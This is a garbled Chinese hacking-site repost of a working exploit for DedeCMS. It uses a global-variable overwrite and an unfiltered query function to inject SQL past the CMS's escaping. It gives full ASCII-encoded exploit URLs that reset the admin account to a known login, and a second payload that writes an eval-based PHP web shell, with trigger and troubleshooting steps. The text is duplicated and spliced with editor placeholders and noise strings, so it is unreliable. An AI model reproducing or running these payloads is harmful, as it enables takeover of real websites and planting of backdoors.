|
|
此漏洞无视gpc转义,过80sec注入防御。
) Z& J) l$ E9 g, w补充下,不用担心后台找不到。这只是一个demo,都能修改任意数据库了,还怕拿不到SHELL?) Y2 l/ G8 L# d$ L
起因是全局变量$GLOBALS可以被任意修改,随便看了下,漏洞一堆,我只找了一处。6 b1 @! h% c& h9 M8 H
include/dedesql.class.php
: a8 V. E9 [) U" Pif(isset($GLOBALS['arrs1'])){ $v1 = $v2 = ''; for($i=0;isset($arrs1[$i]);$i++) { $v1 .= chr($arrs1[$i]); } for($i=0;isset($arrs2[$i]);$i++) { $v2 .= chr($arrs2[$i]); //解码ascii } $GLOBALS[$v1] .= $v2; //注意这里不是覆盖,是+}function SetQuery($sql) { $prefix="#@__"; $sql = str_replace($prefix,$GLOBALS['cfg_dbprefix'],$sql); //看到这里无话可说,不明白为什么要这样做。 $this->queryString = $sql; }另外说下绕过80sec防注入的方法。5 n4 S9 _! U4 Y: A* v. u* d/ J
同一文件中,有两个执行SQL的函数。ExecuteNoneQuery和ExecuteNoneQuery2
) ^" d' ?" `* w& P3 a7 i& w而用ExecuteNoneQuery2执行SQL并没有防注入,于是随便找个用ExecuteNoneQuery2执行的文件。( |3 k* h5 N5 G8 {2 C# `3 g- S
plus/download.php4 |, M$ c& J8 \9 m; l
else if($open==1){ $id = isset($id) && is_numeric($id) ? $id : 0; $link = base64_decode(urldecode($link)); $hash = md5($link);//这里的#@_是可以控制的 $rs = $dsql->ExecuteNoneQuery2("UPDATE `#@__downloads` SET downloads = downloads + 1 WHERE hash='$hash' "); if($rs <= 0) { $query = " INSERT INTO `#@__downloads`(`hash`,`id`,`downloads`) VALUES('$hash','$id',1); "; $dsql->ExecNoneQuery($query); } header("location link"); exit();}构造SQL语句 (提交的时候用ascii加密,程序会帮我们自动解密的,所以无视gpc):
2 U: K( P2 Q4 |admin` SET `userid`='spider', `pwd`='f297a57a5a743894a0e4' where id=1 #完整SQL语句:
7 Y! y! j) X* z4 M' {2 IUPDATE `dede_admin` SET `userid`='spider', `pwd`='f297a57a5a743894a0e4' where id=1 #_downloads` SET downloads = downloads + 1 WHERE hash='$hash' EXP:
L1 r& a& i4 x4 W& Y U2 o" r. p. F3 ^: \http://localhost/plus/download.php?open=1&arrs1[]=99&arrs1[]=102&arrs1[]=103&arrs1[]=95&arrs1[]=100&arrs1[]=98&arrs1[]=112&arrs1[]=114&arrs1[]=101&arrs1[]=102&arrs1[]=105&arrs1[]=120&arrs2[]=97&arrs2[]=100&arrs2[]=109&arrs2[]=105&arrs2[]=110&arrs2[]=96&arrs2[]=32&arrs2[]=83&arrs2[]=69&arrs2[]=84&arrs2[]=32&arrs2[]=96&arrs2[]=117&arrs2[]=115&arrs2[]=101&arrs2[]=114&arrs2[]=105&arrs2[]=100&arrs2[]=96&arrs2[]=61&arrs2[]=39&arrs2[]=115&arrs2[]=112&arrs2[]=105&arrs2[]=100&arrs2[]=101&arrs2[]=114&arrs2[]=39&arrs2[]=44&arrs2[]=32&arrs2[]=96&arrs2[]=112&arrs2[]=119&arrs2[]=100&arrs2[]=96&arrs2[]=61&arrs2[]=39&arrs2[]=102&arrs2[]=50&arrs2[]=57&arrs2[]=55&arrs2[]=97&arrs2[]=53&arrs2[]=55&arrs2[]=97&arrs2[]=53&arrs2[]=97&arrs2[]=55&arrs2[]=52&arrs2[]=51&arrs2[]=56&arrs2[]=57&arrs2[]=52&arrs2[]=97&arrs2[]=48&arrs2[]=101&arrs2[]=52&arrs2[]=39&arrs2[]=32&arrs2[]=119&arrs2[]=104&arrs2[]=101&arrs2[]=114&arrs2[]=101&arrs2[]=32&arrs2[]=105&arrs2[]=100&arrs2[]=61&arrs2[]=49&arrs2[]=32&arrs2[]=35如果不出问题,后台登录用户spider密码admin3 h% ], {$ m4 x* B5 M% r
漏洞真的不止一处,各种包含,远程代码执行,很多,列位慢慢研究。
8 _9 ]2 S; ] r5 o如果找不到后台,参见以前修改数据库直接拿SHELL的方法/ S$ N; o8 c7 `1 D# `: m
UPDATE `dede_mytag` SET `normbody` = '{dede:php}file_put_contents(''spider.php'',''<!--?php eval(此漏洞无视gpc转义,过80sec注入防御。
: b# ?) X' _, ^! I补充下,不用担心后台找不到。这只是一个demo,都能修改任意数据库了,还怕拿不到SHELL?& r, g1 ~6 H* f) p1 [
起因是全局变量$GLOBALS可以被任意修改,随便看了下,漏洞一堆,我只找了一处。
" \" l8 M" {* C( \2 W: Linclude/dedesql.class.php
* p& Y' Z# L, ]$ j0 hif(isset($GLOBALS['arrs1'])){ $v1 = $v2 = ''; for($i=0;isset($arrs1[$i]);$i++) { $v1 .= chr($arrs1[$i]); } for($i=0;isset($arrs2[$i]);$i++) { $v2 .= chr($arrs2[$i]); //解码ascii } $GLOBALS[$v1] .= $v2; //注意这里不是覆盖,是+}function SetQuery($sql) { $prefix="#@__"; $sql = str_replace($prefix,$GLOBALS['cfg_dbprefix'],$sql); //看到这里无话可说,不明白为什么要这样做。 $this->queryString = $sql; }另外说下绕过80sec防注入的方法。* U( b. M3 G) i% ]# z
同一文件中,有两个执行SQL的函数。ExecuteNoneQuery和ExecuteNoneQuery21 l& [8 W5 K/ q$ P, {
而用ExecuteNoneQuery2执行SQL并没有防注入,于是随便找个用ExecuteNoneQuery2执行的文件。
8 [ G7 v) m4 r$ {- pplus/download.php
' l0 Y S9 C$ Celse if($open==1){ $id = isset($id) && is_numeric($id) ? $id : 0; $link = base64_decode(urldecode($link)); $hash = md5($link);//这里的#@_是可以控制的 $rs = $dsql->ExecuteNoneQuery2("UPDATE `#@__downloads` SET downloads = downloads + 1 WHERE hash='$hash' "); if($rs <= 0) { $query = " INSERT INTO `#@__downloads`(`hash`,`id`,`downloads`) VALUES('$hash','$id',1); "; $dsql->ExecNoneQuery($query); } header("location link"); exit();}构造SQL语句 (提交的时候用ascii加密,程序会帮我们自动解密的,所以无视gpc):
+ B' Z6 ?. \( Q' q1 Ladmin` SET `userid`='spider', `pwd`='f297a57a5a743894a0e4' where id=1 #完整SQL语句:
3 t' q c% ?) xUPDATE `dede_admin` SET `userid`='spider', `pwd`='f297a57a5a743894a0e4' where id=1 #_downloads` SET downloads = downloads + 1 WHERE hash='$hash' EXP:% V2 N0 g% V$ i& X1 Y
http://localhost/plus/download.php?open=1&arrs1[]=99&arrs1[]=102&arrs1[]=103&arrs1[]=95&arrs1[]=100&arrs1[]=98&arrs1[]=112&arrs1[]=114&arrs1[]=101&arrs1[]=102&arrs1[]=105&arrs1[]=120&arrs2[]=97&arrs2[]=100&arrs2[]=109&arrs2[]=105&arrs2[]=110&arrs2[]=96&arrs2[]=32&arrs2[]=83&arrs2[]=69&arrs2[]=84&arrs2[]=32&arrs2[]=96&arrs2[]=117&arrs2[]=115&arrs2[]=101&arrs2[]=114&arrs2[]=105&arrs2[]=100&arrs2[]=96&arrs2[]=61&arrs2[]=39&arrs2[]=115&arrs2[]=112&arrs2[]=105&arrs2[]=100&arrs2[]=101&arrs2[]=114&arrs2[]=39&arrs2[]=44&arrs2[]=32&arrs2[]=96&arrs2[]=112&arrs2[]=119&arrs2[]=100&arrs2[]=96&arrs2[]=61&arrs2[]=39&arrs2[]=102&arrs2[]=50&arrs2[]=57&arrs2[]=55&arrs2[]=97&arrs2[]=53&arrs2[]=55&arrs2[]=97&arrs2[]=53&arrs2[]=97&arrs2[]=55&arrs2[]=52&arrs2[]=51&arrs2[]=56&arrs2[]=57&arrs2[]=52&arrs2[]=97&arrs2[]=48&arrs2[]=101&arrs2[]=52&arrs2[]=39&arrs2[]=32&arrs2[]=119&arrs2[]=104&arrs2[]=101&arrs2[]=114&arrs2[]=101&arrs2[]=32&arrs2[]=105&arrs2[]=100&arrs2[]=61&arrs2[]=49&arrs2[]=32&arrs2[]=35如果不出问题,后台登录用户spider密码admin. ?) m0 U* e5 x+ d3 A6 n+ y& ^1 g# \
漏洞真的不止一处,各种包含,远程代码执行,很多,列位慢慢研究。
4 ~- G3 M% M* i1 g. I V如果找不到后台,参见以前修改数据库直接拿SHELL的方法1 a( Q* h5 S$ n7 n4 U
___FCKpd___6getshell:
$ {( l, G! e6 K" h: l' @http://localhost/plus/download.php?open=1&arrs1[]=99&arrs1[]=102&arrs1[]=103&arrs1[]=95&arrs1[]=100&arrs1[]=98&arrs1[]=112&arrs1[]=114&arrs1[]=101&arrs1[]=102&arrs1[]=105&arrs1[]=120&arrs2[]=109&arrs2[]=121&arrs2[]=116&arrs2[]=97&arrs2[]=103&arrs2[]=96&arrs2[]=32&arrs2[]=83&arrs2[]=69&arrs2[]=84&arrs2[]=32&arrs2[]=96&arrs2[]=110&arrs2[]=111&arrs2[]=114&arrs2[]=109&arrs2[]=98&arrs2[]=111&arrs2[]=100&arrs2[]=121&arrs2[]=96&arrs2[]=32&arrs2[]=61&arrs2[]=32&arrs2[]=39&arrs2[]=123&arrs2[]=100&arrs2[]=101&arrs2[]=100&arrs2[]=101&arrs2[]=58&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=125&arrs2[]=102&arrs2[]=105&arrs2[]=108&arrs2[]=101&arrs2[]=95&arrs2[]=112&arrs2[]=117&arrs2[]=116&arrs2[]=95&arrs2[]=99&arrs2[]=111&arrs2[]=110&arrs2[]=116&arrs2[]=101&arrs2[]=110&arrs2[]=116&arrs2[]=115&arrs2[]=40&arrs2[]=39&arrs2[]=39&arrs2[]=120&arrs2[]=46&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=39&arrs2[]=39&arrs2[]=44&arrs2[]=39&arrs2[]=39&arrs2[]=60&arrs2[]=63&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=32&arrs2[]=101&arrs2[]=118&arrs2[]=97&arrs2[]=108&arrs2[]=40&arrs2[]=36&arrs2[]=95&arrs2[]=80&arrs2[]=79&arrs2[]=83&arrs2[]=84&arrs2[]=91&arrs2[]=109&arrs2[]=93&arrs2[]=41&arrs2[]=59&arrs2[]=63&arrs2[]=62&arrs2[]=39&arrs2[]=39&arrs2[]=41&arrs2[]=59&arrs2[]=123&arrs2[]=47&arrs2[]=100&arrs2[]=101&arrs2[]=100&arrs2[]=101&arrs2[]=58&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=125&arrs2[]=39&arrs2[]=32&arrs2[]=87&arrs2[]=72&arrs2[]=69&arrs2[]=82&arrs2[]=69&arrs2[]=32&arrs2[]=96&arrs2[]=97&arrs2[]=105&arrs2[]=100&arrs2[]=96&arrs2[]=32&arrs2[]=61&arrs2[]=49&arrs2[]=32&arrs2[]=35会在plus目录生成 x.php 密码 m
4 R; s* q9 N# ?" Z: l, p- | f0 ^http://127.0.0.1/plus/x.php/ n" _& `4 [: J3 s( m& m: U$ g
update成功后还要访问下 /plus/mytag_js.php?aid=1
0 y, h9 i. f0 j5 t' R( }# m失败原因:
: T& m% ~+ \: ~& Y测试发现,如果aid为空或已经生成过一次,则会写shell失败….更改倒数第三个ascii改变改变aid(即&arrs2[]=49)- N6 U3 h4 d4 l$ |" |; |' l
配图:
) x6 j+ x- s# {) s- p1.查看dede当前版本 H7 |4 }8 E. M- f( X6 y4 L
7 w' C, P; x7 N! q- z9 M' a2.执行exp
" b; m; H9 T/ [) I( l: ]; U* B
, U8 l, p0 }; Y0 D9 yhttp://www.myhack58.com/Article/UploadPic/2013-9/20139913327683.png3.测试登陆后台
/ W$ i+ |( z0 T' P0 ^/ l
; U% `7 _0 C; S; t1 P1 h# Mspider密码admin
Y8 p t& C- j i) R8 Z. z, i! B _" L- L5 h! u
http://www.myhack58.com/Article/UploadPic/2013-9/20139913327762.png
' k2 q- G2 Y Z, I. F原作者:imspider
! Q$ }% g7 B: \- O* E' [4 _0 B' Z# q5 x
本博客测试+配图+getshell$ v) I) t+ v* d( R+ w: K
POST[spider]);?-->'');{/dede:php}' WHERE `aid` =1 LIMIT % r9 b" G5 u) \. ~9 q7 x
! \5 d5 c0 ~: z# _. e' A8 Y4 hgetshell:
8 O3 b: y% W6 X___FCKpd___7会在plus目录生成 x.php 密码 m
1 {5 B& ] ?8 b- P. b( @' S2 Ehttp://127.0.0.1/plus/x.php W2 [4 y6 J5 S+ X! K2 I& t
update成功后还要访问下 /plus/mytag_js.php?aid=16 n: U! D6 r6 k/ \( ~
失败原因:9 k# d$ e9 ~/ u6 C: F; O
测试发现,如果aid为空或已经生成过一次,则会写shell失败….更改倒数第三个ascii改变改变aid(即&arrs2[]=49)2 ~1 c6 ~( X9 j+ B. ?
配图:
) L0 Z- K, ?0 C8 s, }1.查看dede当前版本+ s4 W! N8 C. u& L
http://www.myhack58.com/Article/UploadPic/2013-9/20139913326739.png. K4 z$ u' b3 ~2 N c
2.执行exp
: ~+ q0 V) C5 _& _3 H! I8 D! Fhttp://www.myhack58.com/Article/UploadPic/2013-9/20139913327683.png3.测试登陆后台' h2 B+ c" h C1 t
spider密码admin
. b& Q4 b4 }& Ohttp://www.myhack58.com/Article/UploadPic/2013-9/20139913327762.png
5 \0 `- h8 V; T$ Q4 k, M- p* F ) P g) X( x3 T# Z( O U) a0 v
|
|